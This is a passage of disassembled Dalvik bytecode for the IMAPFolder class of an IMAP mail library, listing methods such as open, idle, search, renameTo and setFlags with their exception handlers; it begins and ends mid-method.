:24
00000024  monitor-exit            v2
:26
00000026  monitor-exit            p0
00000028  return                  v0
:2A
0000002A  move-exception          v0
:2C
0000002C  new-instance            v1, FolderClosedException
00000030  invoke-virtual          ConnectionException->getMessage()String, v0
00000036  move-result-object      v0
00000038  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
0000003E  throw                   v1
:40
00000040  move-exception          v0
00000042  monitor-exit            v2
:44
00000044  throw                   v0
:46
00000046  move-exception          v0
00000048  monitor-exit            p0
0000004A  throw                   v0
:4C
0000004C  move-exception          v0
:4E
0000004E  new-instance            v1, MessagingException
00000052  invoke-virtual          ProtocolException->getMessage()String, v0
00000058  move-result-object      v3
0000005A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v3, v0
00000060  throw                   v1
:62
00000062  move                    v0, v1
00000064  goto                    :24
:66
00000066  invoke-direct           IMAPFolder->checkExists()V, p0
0000006C  new-instance            v0, IMAPFolder$7
00000070  invoke-direct           IMAPFolder$7-><init>(IMAPFolder)V, v0, p0
00000076  invoke-virtual          IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v0
0000007C  move-result-object      v0
0000007E  check-cast              v0, Boolean
00000082  if-nez                  v0, :8A
:86
00000086  move                    v0, v1
00000088  goto                    :26
:8A
0000008A  invoke-virtual          Boolean->booleanValue()Z, v0
:90
00000090  move-result             v0
00000092  goto                    :26
          .catchall {:6 .. :14} :46
          .catch ConnectionException {:16 .. :1C} :2A
          .catch ProtocolException {:16 .. :1C} :4C
          .catchall {:16 .. :1C} :40
          .catchall {:1C .. :26} :40
          .catchall {:2C .. :44} :40
          .catchall {:44 .. :46} :46
          .catchall {:4E .. :62} :40
          .catchall {:66 .. :90} :46
.end method

.method public idle()V
          .registers 4
00000000  sget-boolean            v0, IMAPFolder->$assertionsDisabled:Z
00000004  if-nez                  v0, :20
:8
00000008  invoke-static           Thread->holdsLock(Object)Z, p0
0000000E  move-result             v0
00000010  if-eqz                  v0, :20
:14
00000014  new-instance            v0, AssertionError
00000018  invoke-direct           AssertionError-><init>()V, v0
0000001E  throw                   v0
:20
00000020  monitor-enter           p0
:22
00000022  invoke-direct           IMAPFolder->checkOpened()V, p0
00000028  const-string            v0, "IDLE not supported"
0000002C  new-instance            v1, IMAPFolder$19
00000030  invoke-direct           IMAPFolder$19-><init>(IMAPFolder)V, v1, p0
00000036  invoke-virtual          IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
0000003C  move-result-object      v0
0000003E  check-cast              v0, Boolean
00000042  invoke-virtual          Boolean->booleanValue()Z, v0
00000048  move-result             v0
0000004A  if-nez                  v0, :52
:4E
0000004E  monitor-exit            p0
:50
00000050  return-void
:52
00000052  monitor-exit            p0
:54
00000054  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000058  invoke-virtual          IMAPProtocol->readIdleResponse()Response, v0
0000005E  move-result-object      v0
:60
00000060  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
00000064  monitor-enter           v1
:66
00000066  if-eqz                  v0, :82
:6A
0000006A  iget-object             v2, p0, IMAPFolder->protocol:IMAPProtocol
0000006E  if-eqz                  v2, :82
:72
00000072  iget-object             v2, p0, IMAPFolder->protocol:IMAPProtocol
00000076  invoke-virtual          IMAPProtocol->processIdleResponse(Response)Z, v2, v0
0000007C  move-result             v0
0000007E  if-nez                  v0, :BC
:82
00000082  const/4                 v0, 0x0
00000084  iput                    v0, p0, IMAPFolder->idleState:I
00000088  iget-object             v0, p0, IMAPFolder->messageCacheLock:Object
0000008C  invoke-virtual          Object->notifyAll()V, v0
00000092  monitor-exit            v1
:94
00000094  iget-object             v0, p0, IMAPFolder->store:Store
00000098  check-cast              v0, IMAPStore
0000009C  invoke-virtual          IMAPStore->getMinIdleTime()I, v0
000000A2  move-result             v0
000000A4  if-lez                  v0, :50
:A8
000000A8  int-to-long             v0, v0
:AA
000000AA  invoke-static           Thread->sleep(J)V, v0, v1
:B0
000000B0  goto                    :50
:B2
000000B2  move-exception          v0
000000B4  goto                    :50
:B6
000000B6  move-exception          v0
:B8
000000B8  monitor-exit            p0
:BA
000000BA  throw                   v0
:BC
000000BC  monitor-exit            v1
000000BE  goto                    :54
:C0
000000C0  move-exception          v0
000000C2  monitor-exit            v1
:C4
000000C4  throw                   v0
:C6
000000C6  move-exception          v0
000000C8  invoke-direct           IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
000000CE  goto                    :54
:D0
000000D0  move-exception          v0
000000D2  new-instance            v1, MessagingException
000000D6  invoke-virtual          ProtocolException->getMessage()String, v0
000000DC  move-result-object      v2
000000DE  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000E4  throw                   v1
          .catchall {:22 .. :54} :B6
          .catch ConnectionException {:60 .. :66} :C6
          .catch ProtocolException {:60 .. :66} :D0
          .catchall {:6A .. :94} :C0
          .catch InterruptedException {:AA .. :B0} :B2
          .catchall {:B8 .. :BA} :B6
          .catchall {:BC .. :C4} :C0
          .catch ConnectionException {:C4 .. :C6} :C6
          .catch ProtocolException {:C4 .. :C6} :D0
.end method

.method public declared-synchronized isOpen()Z
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
00000006  monitor-enter           v1
:8
00000008  iget-boolean            v0, p0, IMAPFolder->opened:Z
:C
0000000C  if-eqz                  v0, :18
:10
00000010  const/4                 v0, 0x0
:12
00000012  invoke-direct           IMAPFolder->keepConnectionAlive(Z)V, p0, v0
:18
00000018  monitor-exit            v1
:1A
0000001A  iget-boolean            v0, p0, IMAPFolder->opened:Z
:1E
0000001E  monitor-exit            p0
00000020  return                  v0
:22
00000022  move-exception          v0
:24
00000024  monitor-exit            v1
:26
00000026  throw                   v0
:28
00000028  move-exception          v0
0000002A  monitor-exit            p0
0000002C  throw                   v0
:2E
0000002E  move-exception          v0
00000030  goto                    :18
          .catchall {:2 .. :8} :28
          .catchall {:8 .. :C} :22
          .catch ProtocolException {:12 .. :18} :2E
          .catchall {:12 .. :18} :22
          .catchall {:18 .. :1A} :22
          .catchall {:1A .. :1E} :28
          .catchall {:24 .. :26} :22
          .catchall {:26 .. :28} :28
.end method

.method public declared-synchronized isSubscribed()Z
          .registers 5
00000000  monitor-enter           p0
00000002  const/4                 v1, 0x0
:4
00000004  check-cast              v1, [ListInfo
00000008  iget-boolean            v2, p0, IMAPFolder->isNamespace:Z
0000000C  if-eqz                  v2, :76
:10
00000010  iget-char               v2, p0, IMAPFolder->separator:C
00000014  if-eqz                  v2, :76
:18
00000018  new-instance            v2, StringBuilder
0000001C  iget-object             v3, p0, IMAPFolder->fullName:String
00000020  invoke-static           String->valueOf(Object)String, v3
00000026  move-result-object      v3
00000028  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000002E  iget-char               v3, p0, IMAPFolder->separator:C
00000032  invoke-virtual          StringBuilder->append(C)StringBuilder, v2, v3
00000038  move-result-object      v2
0000003A  invoke-virtual          StringBuilder->toString()String, v2
:40
00000040  move-result-object      v2
00000042  move-object             v3, v2
:44
00000044  new-instance            v2, IMAPFolder$4
00000048  invoke-direct           IMAPFolder$4-><init>(IMAPFolder, String)V, v2, p0, v3
0000004E  invoke-virtual          IMAPFolder->doProtocolCommand(IMAPFolder$ProtocolCommand)Object, p0, v2
00000054  move-result-object      v2
00000056  move-object             v0, v2
00000058  check-cast              v0, [ListInfo
0000005C  move-object             v1, v0
:5E
0000005E  if-eqz                  v1, :7E
:62
00000062  invoke-direct           IMAPFolder->findName([ListInfo, String)I, p0, v1, v3
00000068  move-result             v2
0000006A  aget-object             v1, v1, v2
0000006E  iget-boolean            v1, v1, ListInfo->canOpen:Z
:72
00000072  monitor-exit            p0
00000074  return                  v1
:76
00000076  iget-object             v2, p0, IMAPFolder->fullName:String
:7A
0000007A  move-object             v3, v2
0000007C  goto                    :44
:7E
0000007E  const/4                 v1, 0x0
00000080  goto                    :72
:82
00000082  move-exception          v1
00000084  monitor-exit            p0
00000086  throw                   v1
:88
00000088  move-exception          v2
0000008A  goto                    :5E
          .catchall {:4 .. :40} :82
          .catch ProtocolException {:44 .. :5E} :88
          .catchall {:44 .. :5E} :82
          .catchall {:62 .. :72} :82
          .catchall {:76 .. :7A} :82
.end method

.method public list(String)[Folder
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           IMAPFolder->doList(String, Z)[Folder, p0, p1, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public listRights(String)[Rights
          .registers 4
00000000  const-string            v0, "ACL not supported"
00000004  new-instance            v1, IMAPFolder$16
00000008  invoke-direct           IMAPFolder$16-><init>(IMAPFolder, String)V, v1, p0, p1
0000000E  invoke-virtual          IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014  move-result-object      v0
00000016  check-cast              v0, [Rights
0000001A  return-object           v0
.end method

.method public listSubscribed(String)[Folder
          .registers 3
00000000  const/4                 v0, 0x1
00000002  invoke-direct           IMAPFolder->doList(String, Z)[Folder, p0, p1, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public myRights()Rights
          .registers 3
00000000  const-string            v0, "ACL not supported"
00000004  new-instance            v1, IMAPFolder$17
00000008  invoke-direct           IMAPFolder$17-><init>(IMAPFolder)V, v1, p0
0000000E  invoke-virtual          IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014  move-result-object      v0
00000016  check-cast              v0, Rights
0000001A  return-object           v0
.end method

.method public declared-synchronized open(I)V
          .registers 9
00000000  const/4                 v1, 0x0
00000002  const/4                 v2, 0x0
00000004  const/4                 v5, 0x1
00000006  monitor-enter           p0
:8
00000008  invoke-direct           IMAPFolder->checkClosed()V, p0
0000000E  iget-object             v0, p0, IMAPFolder->store:Store
00000012  check-cast              v0, IMAPStore
00000016  invoke-virtual          IMAPStore->getProtocol(IMAPFolder)IMAPProtocol, v0, p0
0000001C  move-result-object      v0
0000001E  iput-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000022  iget-object             v4, p0, IMAPFolder->messageCacheLock:Object
00000026  monitor-enter           v4
:28
00000028  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000002C  invoke-virtual          IMAPProtocol->addResponseHandler(ResponseHandler)V, v0, p0
:32
00000032  if-ne                   p1, v5, :106
:36
00000036  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000003A  iget-object             v3, p0, IMAPFolder->fullName:String
0000003E  invoke-virtual          IMAPProtocol->examine(String)MailboxInfo, v0, v3
:44
00000044  move-result-object      v0
00000046  move-object             v3, v0
:48
00000048  iget                    v0, v3, MailboxInfo->mode:I
0000004C  if-eq                   v0, p1, :72
:50
00000050  const/4                 v0, 0x2
00000052  if-ne                   p1, v0, :162
:56
00000056  iget                    v0, v3, MailboxInfo->mode:I
0000005A  if-ne                   v0, v5, :162
:5E
0000005E  iget-object             v0, p0, IMAPFolder->store:Store
00000062  check-cast              v0, IMAPStore
00000066  invoke-virtual          IMAPStore->allowReadOnlySelect()Z, v0
0000006C  move-result             v0
0000006E  if-eqz                  v0, :162
:72
00000072  const/4                 v0, 0x1
00000074  iput-boolean            v0, p0, IMAPFolder->opened:Z
00000078  const/4                 v0, 0x0
0000007A  iput-boolean            v0, p0, IMAPFolder->reallyClosed:Z
0000007E  iget                    v0, v3, MailboxInfo->mode:I
00000082  iput                    v0, p0, IMAPFolder->mode:I
00000086  iget-object             v0, v3, MailboxInfo->availableFlags:Flags
0000008A  iput-object             v0, p0, IMAPFolder->availableFlags:Flags
0000008E  iget-object             v0, v3, MailboxInfo->permanentFlags:Flags
00000092  iput-object             v0, p0, IMAPFolder->permanentFlags:Flags
00000096  iget                    v0, v3, MailboxInfo->total:I
0000009A  iput                    v0, p0, IMAPFolder->realTotal:I
0000009E  iput                    v0, p0, IMAPFolder->total:I
000000A2  iget                    v0, v3, MailboxInfo->recent:I
000000A6  iput                    v0, p0, IMAPFolder->recent:I
000000AA  iget-wide               v5, v3, MailboxInfo->uidvalidity:J
000000AE  iput-wide               v5, p0, IMAPFolder->uidvalidity:J
000000B2  iget-wide               v5, v3, MailboxInfo->uidnext:J
000000B6  iput-wide               v5, p0, IMAPFolder->uidnext:J
000000BA  new-instance            v0, Vector
000000BE  iget                    v3, p0, IMAPFolder->total:I
000000C2  invoke-direct           Vector-><init>(I)V, v0, v3
000000C8  iput-object             v0, p0, IMAPFolder->messageCache:Vector
000000CC  move                    v0, v2
:CE
000000CE  iget                    v2, p0, IMAPFolder->total:I
000000D2  if-lt                   v0, v2, :1BC
:D6
000000D6  monitor-exit            v4
:D8
000000D8  move-object             v0, v1
:DA
000000DA  if-eqz                  v0, :1F4
:DE
000000DE  invoke-direct           IMAPFolder->checkExists()V, p0
000000E4  iget                    v1, p0, IMAPFolder->type:I
000000E8  and-int/lit8            v1, v1, 0x1
000000EC  if-nez                  v1, :1E0
:F0
000000F0  new-instance            v0, MessagingException
000000F4  const-string            v1, "folder cannot contain messages"
000000F8  invoke-direct           MessagingException-><init>(String)V, v0, v1
000000FE  throw                   v0
:100
00000100  move-exception          v0
00000102  monitor-exit            p0
00000104  throw                   v0
:106
00000106  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000010A  iget-object             v3, p0, IMAPFolder->fullName:String
0000010E  invoke-virtual          IMAPProtocol->select(String)MailboxInfo, v0, v3
:114
00000114  move-result-object      v0
00000116  move-object             v3, v0
00000118  goto                    :48
:11A
0000011A  move-exception          v0
0000011C  const/4                 v1, 0x1
:11E
0000011E  invoke-direct           IMAPFolder->releaseProtocol(Z)V, p0, v1
00000124  const/4                 v1, 0x0
00000126  iput-object             v1, p0, IMAPFolder->protocol:IMAPProtocol
0000012A  monitor-exit            v4
0000012C  goto                    :DA
:12E
0000012E  move-exception          v0
00000130  monitor-exit            v4
:132
00000132  throw                   v0
:134
00000134  move-exception          v0
:136
00000136  iget-object             v1, p0, IMAPFolder->protocol:IMAPProtocol
0000013A  invoke-virtual          IMAPProtocol->logout()V, v1
:140
00000140  const/4                 v1, 0x0
:142
00000142  invoke-direct           IMAPFolder->releaseProtocol(Z)V, p0, v1
00000148  const/4                 v1, 0x0
0000014A  iput-object             v1, p0, IMAPFolder->protocol:IMAPProtocol
0000014E  new-instance            v1, MessagingException
00000152  invoke-virtual          ProtocolException->getMessage()String, v0
00000158  move-result-object      v2
0000015A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000160  throw                   v1
:162
00000162  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000166  invoke-virtual          IMAPProtocol->close()V, v0
0000016C  const/4                 v0, 0x1
0000016E  invoke-direct           IMAPFolder->releaseProtocol(Z)V, p0, v0
:174
00000174  const/4                 v0, 0x0
:176
00000176  iput-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
0000017A  new-instance            v0, ReadOnlyFolderException
0000017E  const-string            v1, "Cannot open in desired mode"
00000182  invoke-direct           ReadOnlyFolderException-><init>(Folder, String)V, v0, p0, v1
00000188  throw                   v0
:18A
0000018A  move-exception          v0
:18C
0000018C  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000190  invoke-virtual          IMAPProtocol->logout()V, v0
:196
00000196  const/4                 v0, 0x0
:198
00000198  invoke-direct           IMAPFolder->releaseProtocol(Z)V, p0, v0
0000019E  goto                    :174
:1A0
000001A0  move-exception          v0
000001A2  goto                    :174
:1A4
000001A4  move-exception          v0
000001A6  const/4                 v0, 0x0
000001A8  invoke-direct           IMAPFolder->releaseProtocol(Z)V, p0, v0
000001AE  goto                    :174
:1B0
000001B0  move-exception          v0
000001B2  const/4                 v1, 0x0
000001B4  invoke-direct           IMAPFolder->releaseProtocol(Z)V, p0, v1
000001BA  throw                   v0
:1BC
000001BC  iget-object             v2, p0, IMAPFolder->messageCache:Vector
000001C0  new-instance            v3, IMAPMessage
000001C4  add-int/lit8            v5, v0, 0x1
000001C8  add-int/lit8            v6, v0, 0x1
000001CC  invoke-direct           IMAPMessage-><init>(IMAPFolder, I, I)V, v3, p0, v5, v6
000001D2  invoke-virtual          Vector->addElement(Object)V, v2, v3
:1D8
000001D8  add-int/lit8            v0, v0, 0x1
000001DC  goto/16                 :CE
:1E0
000001E0  new-instance            v1, MessagingException
000001E4  invoke-virtual          CommandFailedException->getMessage()String, v0
000001EA  move-result-object      v2
000001EC  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000001F2  throw                   v1
:1F4
000001F4  const/4                 v0, 0x1
000001F6  iput-boolean            v0, p0, IMAPFolder->exists:Z
000001FA  const/4                 v0, 0x0
000001FC  iput-object             v0, p0, IMAPFolder->attributes:[String
00000200  const/4                 v0, 0x1
00000202  iput                    v0, p0, IMAPFolder->type:I
00000206  const/4                 v0, 0x1
00000208  invoke-virtual          IMAPFolder->notifyConnectionListeners(I)V, p0, v0
:20E
0000020E  monitor-exit            p0
00000210  return-void
:212
00000212  move-exception          v1
00000214  goto                    :140
:216
00000216  move-exception          v1
00000218  goto                    :140
          .catchall {:8 .. :28} :100
          .catchall {:28 .. :32} :12E
          .catch CommandFailedException {:36 .. :44} :11A
          .catch ProtocolException {:36 .. :44} :134
          .catchall {:36 .. :44} :12E
          .catchall {:48 .. :D8} :12E
          .catchall {:DE .. :100} :100
          .catch CommandFailedException {:106 .. :114} :11A
          .catch ProtocolException {:106 .. :114} :134
          .catchall {:106 .. :114} :12E
          .catchall {:11E .. :132} :12E
          .catchall {:132 .. :134} :100
          .catch ProtocolException {:136 .. :140} :216
          .catchall {:136 .. :140} :212
          .catchall {:142 .. :162} :12E
          .catch ProtocolException {:162 .. :174} :18A
          .catchall {:162 .. :174} :1A0
          .catchall {:176 .. :18A} :12E
          .catch ProtocolException {:18C .. :196} :1A4
          .catchall {:18C .. :196} :1B0
          .catchall {:198 .. :1BC} :1A0
          .catchall {:1BC .. :1D8} :12E
          .catchall {:1E0 .. :20E} :100
.end method

.method protected declared-synchronized releaseStoreProtocol(IMAPProtocol)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPFolder->protocol:IMAPProtocol
00000006  if-eq                   p1, v0, :18
:A
0000000A  iget-object             v0, p0, IMAPFolder->store:Store
0000000E  check-cast              v0, IMAPStore
00000012  invoke-virtual          IMAPStore->releaseStoreProtocol(IMAPProtocol)V, v0, p1
:18
00000018  monitor-exit            p0
0000001A  return-void
:1C
0000001C  move-exception          v0
0000001E  monitor-exit            p0
00000020  throw                   v0
          .catchall {:2 .. :18} :1C
.end method

.method public removeACL(String)V
          .registers 4
00000000  const-string            v0, "ACL not supported"
00000004  new-instance            v1, IMAPFolder$15
00000008  invoke-direct           IMAPFolder$15-><init>(IMAPFolder, String)V, v1, p0, p1
0000000E  invoke-virtual          IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014  return-void
.end method

.method public removeRights(ACL)V
          .registers 3
00000000  const/16                v0, 0x2D
00000004  invoke-direct           IMAPFolder->setACL(ACL, C)V, p0, p1, v0
0000000A  return-void
.end method

.method public declared-synchronized renameTo(Folder)Z
          .registers 5
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-direct           IMAPFolder->checkClosed()V, p0
0000000A  invoke-direct           IMAPFolder->checkExists()V, p0
00000010  invoke-virtual          Folder->getStore()Store, p1
00000016  move-result-object      v1
00000018  iget-object             v2, p0, IMAPFolder->store:Store
0000001C  if-eq                   v1, v2, :36
:20
00000020  new-instance            v0, MessagingException
00000024  const-string            v1, "Can\'t rename across Stores"
00000028  invoke-direct           MessagingException-><init>(String)V, v0, v1
0000002E  throw                   v0
:30
00000030  move-exception          v0
00000032  monitor-exit            p0
00000034  throw                   v0
:36
00000036  new-instance            v1, IMAPFolder$9
0000003A  invoke-direct           IMAPFolder$9-><init>(IMAPFolder, Folder)V, v1, p0, p1
00000040  invoke-virtual          IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v1
:46
00000046  move-result-object      v1
00000048  if-nez                  v1, :50
:4C
0000004C  monitor-exit            p0
0000004E  return                  v0
:50
00000050  const/4                 v0, 0x0
:52
00000052  iput-boolean            v0, p0, IMAPFolder->exists:Z
00000056  const/4                 v0, 0x0
00000058  iput-object             v0, p0, IMAPFolder->attributes:[String
0000005C  invoke-virtual          IMAPFolder->notifyFolderRenamedListeners(Folder)V, p0, p1
:62
00000062  const/4                 v0, 0x1
00000064  goto                    :4C
          .catchall {:4 .. :30} :30
          .catchall {:36 .. :46} :30
          .catchall {:52 .. :62} :30
.end method

.method public declared-synchronized search(SearchTerm)[Message
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPFolder->checkOpened()V, p0
:8
00000008  const/4                 v0, 0x0
:A
0000000A  check-cast              v0, [Message
0000000E  iget-object             v2, p0, IMAPFolder->messageCacheLock:Object
00000012  monitor-enter           v2
:14
00000014  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
0000001A  move-result-object      v1
0000001C  invoke-virtual          IMAPProtocol->search(SearchTerm)[I, v1, p1
00000022  move-result-object      v3
00000024  if-eqz                  v3, :36
:28
00000028  array-length            v0, v3
0000002A  new-array               v0, v0, [IMAPMessage
0000002E  const/4                 v1, 0x0
:30
00000030  array-length            v4, v3
00000032  if-lt                   v1, v4, :3C
:36
00000036  monitor-exit            v2
:38
00000038  monitor-exit            p0
0000003A  return-object           v0
:3C
0000003C  aget                    v4, v3, v1
00000040  invoke-virtual          IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v4
00000046  move-result-object      v4
00000048  aput-object             v4, v0, v1
0000004C  add-int/lit8            v1, v1, 0x1
00000050  goto                    :30
:52
00000052  move-exception          v0
00000054  monitor-exit            v2
:56
00000056  throw                   v0
:58
00000058  move-exception          v0
:5A
0000005A  invoke-super            Folder->search(SearchTerm)[Message, p0, p1
00000060  move-result-object      v0
00000062  goto                    :38
:64
00000064  move-exception          v0
00000066  invoke-super            Folder->search(SearchTerm)[Message, p0, p1
0000006C  move-result-object      v0
0000006E  goto                    :38
:70
00000070  move-exception          v0
00000072  new-instance            v1, FolderClosedException
00000076  invoke-virtual          ConnectionException->getMessage()String, v0
0000007C  move-result-object      v0
0000007E  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
00000084  throw                   v1
:86
00000086  move-exception          v0
00000088  monitor-exit            p0
0000008A  throw                   v0
:8C
0000008C  move-exception          v0
:8E
0000008E  new-instance            v1, MessagingException
00000092  invoke-virtual          ProtocolException->getMessage()String, v0
00000098  move-result-object      v2
0000009A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000A0  throw                   v1
          .catchall {:2 .. :8} :86
          .catch CommandFailedException {:A .. :14} :58
          .catch SearchException {:A .. :14} :64
          .catch ConnectionException {:A .. :14} :70
          .catch ProtocolException {:A .. :14} :8C
          .catchall {:A .. :14} :86
          .catchall {:14 .. :38} :52
          .catchall {:3C .. :56} :52
          .catch CommandFailedException {:56 .. :58} :58
          .catch SearchException {:56 .. :58} :64
          .catch ConnectionException {:56 .. :58} :70
          .catch ProtocolException {:56 .. :58} :8C
          .catchall {:56 .. :58} :86
          .catchall {:5A .. :86} :86
          .catchall {:8E .. :A2} :86
.end method

.method public declared-synchronized search(SearchTerm, [Message)[Message
          .registers 8
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPFolder->checkOpened()V, p0
00000008  array-length            v0, p2
:A
0000000A  if-nez                  v0, :12
:E
0000000E  monitor-exit            p0
00000010  return-object           p2
:12
00000012  const/4                 v0, 0x0
:14
00000014  check-cast              v0, [Message
00000018  iget-object             v2, p0, IMAPFolder->messageCacheLock:Object
0000001C  monitor-enter           v2
:1E
0000001E  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
00000024  move-result-object      v1
00000026  const/4                 v3, 0x0
00000028  invoke-static           Utility->toMessageSet([Message, Utility$Condition)[MessageSet, p2, v3
0000002E  move-result-object      v3
00000030  if-nez                  v3, :56
:34
00000034  new-instance            v0, MessageRemovedException
00000038  const-string            v1, "Messages have been removed"
0000003C  invoke-direct           MessageRemovedException-><init>(String)V, v0, v1
00000042  throw                   v0
:44
00000044  move-exception          v0
00000046  monitor-exit            v2
:48
00000048  throw                   v0
:4A
0000004A  move-exception          v0
:4C
0000004C  invoke-super            Folder->search(SearchTerm, [Message)[Message, p0, p1, p2
:52
00000052  move-result-object      p2
00000054  goto                    :E
:56
00000056  invoke-virtual          IMAPProtocol->search([MessageSet, SearchTerm)[I, v1, v3, p1
0000005C  move-result-object      v3
0000005E  if-eqz                  v3, :70
:62
00000062  array-length            v0, v3
00000064  new-array               v0, v0, [IMAPMessage
00000068  const/4                 v1, 0x0
:6A
0000006A  array-length            v4, v3
0000006C  if-lt                   v1, v4, :76
:70
00000070  monitor-exit            v2
00000072  move-object             p2, v0
00000074  goto                    :E
:76
00000076  aget                    v4, v3, v1
0000007A  invoke-virtual          IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v4
00000080  move-result-object      v4
00000082  aput-object             v4, v0, v1
:86
00000086  add-int/lit8            v1, v1, 0x1
0000008A  goto                    :6A
:8C
0000008C  move-exception          v0
:8E
0000008E  invoke-super            Folder->search(SearchTerm, [Message)[Message, p0, p1, p2
00000094  move-result-object      p2
00000096  goto                    :E
:98
00000098  move-exception          v0
0000009A  new-instance            v1, FolderClosedException
0000009E  invoke-virtual          ConnectionException->getMessage()String, v0
000000A4  move-result-object      v0
000000A6  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000AC  throw                   v1
:AE
000000AE  move-exception          v0
000000B0  monitor-exit            p0
000000B2  throw                   v0
:B4
000000B4  move-exception          v0
:B6
000000B6  new-instance            v1, MessagingException
000000BA  invoke-virtual          ProtocolException->getMessage()String, v0
000000C0  move-result-object      v2
000000C2  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C8  throw                   v1
          .catchall {:2 .. :A} :AE
          .catch CommandFailedException {:14 .. :1E} :4A
          .catch SearchException {:14 .. :1E} :8C
          .catch ConnectionException {:14 .. :1E} :98
          .catch ProtocolException {:14 .. :1E} :B4
          .catchall {:14 .. :1E} :AE
          .catchall {:1E .. :48} :44
          .catch CommandFailedException {:48 .. :4A} :4A
          .catch SearchException {:48 .. :4A} :8C
          .catch ConnectionException {:48 .. :4A} :98
          .catch ProtocolException {:48 .. :4A} :B4
          .catchall {:48 .. :4A} :AE
          .catchall {:4C .. :52} :AE
          .catchall {:56 .. :86} :44
          .catchall {:8E .. :AE} :AE
          .catchall {:B6 .. :CA} :AE
.end method

.method public declared-synchronized setFlags([Message, Flags, Z)V
          .registers 8
00000000  monitor-enter           p0
:2
00000002  invoke-direct           IMAPFolder->checkOpened()V, p0
00000008  invoke-direct           IMAPFolder->checkFlags(Flags)V, p0, p2
0000000E  array-length            v0, p1
:10
00000010  if-nez                  v0, :18
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  iget-object             v1, p0, IMAPFolder->messageCacheLock:Object
0000001C  monitor-enter           v1
:1E
0000001E  invoke-direct           IMAPFolder->getProtocol()IMAPProtocol, p0
00000024  move-result-object      v0
00000026  const/4                 v2, 0x0
00000028  invoke-static           Utility->toMessageSet([Message, Utility$Condition)[MessageSet, p1, v2
0000002E  move-result-object      v2
00000030  if-nez                  v2, :66
:34
00000034  new-instance            v0, MessageRemovedException
00000038  const-string            v2, "Messages have been removed"
0000003C  invoke-direct           MessageRemovedException-><init>(String)V, v0, v2
00000042  throw                   v0
:44
00000044  move-exception          v0
:46
00000046  new-instance            v2, FolderClosedException
0000004A  invoke-virtual          ConnectionException->getMessage()String, v0
00000050  move-result-object      v0
00000052  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, p0, v0
00000058  throw                   v2
:5A
0000005A  move-exception          v0
0000005C  monitor-exit            v1
:5E
0000005E  throw                   v0
:60
00000060  move-exception          v0
00000062  monitor-exit            p0
00000064  throw                   v0
:66
00000066  invoke-virtual          IMAPProtocol->storeFlags([MessageSet, Flags, Z)V, v0, v2, p2, p3
:6C
0000006C  monitor-exit            v1
0000006E  goto                    :14
:70
00000070  move-exception          v0
00000072  new-instance            v2, MessagingException
00000076  invoke-virtual          ProtocolException->getMessage()String, v0
0000007C  move-result-object      v3
0000007E  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000084  throw                   v2
          .catchall {:2 .. :10} :60
          .catchall {:18 .. :1E} :60
          .catch ConnectionException {:1E .. :44} :44
          .catch ProtocolException {:1E .. :44} :70
          .catchall {:1E .. :44} :5A
          .catchall {:46 .. :5E} :5A
          .catchall {:5E .. :60} :60
          .catch ConnectionException {:66 .. :6C} :44
          .catch ProtocolException {:66 .. :6C} :70
          .catchall {:66 .. :6C} :5A
          .catchall {:6C .. :86} :5A
.end method

.method public setQuota(Quota)V
          .registers 4
00000000  const-string            v0, "QUOTA not supported"
00000004  new-instance            v1, IMAPFolder$13
00000008  invoke-direct           IMAPFolder$13-><init>(IMAPFolder, Quota)V, v1, p0, p1
0000000E  invoke-virtual          IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014  return-void
.end method

.method public declared-synchronized setSubscribed(Z)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, IMAPFolder$5
00000006  invoke-direct           IMAPFolder$5-><init>(IMAPFolder, Z)V, v0, p0, p1
0000000C  invoke-virtual          IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v0
:12
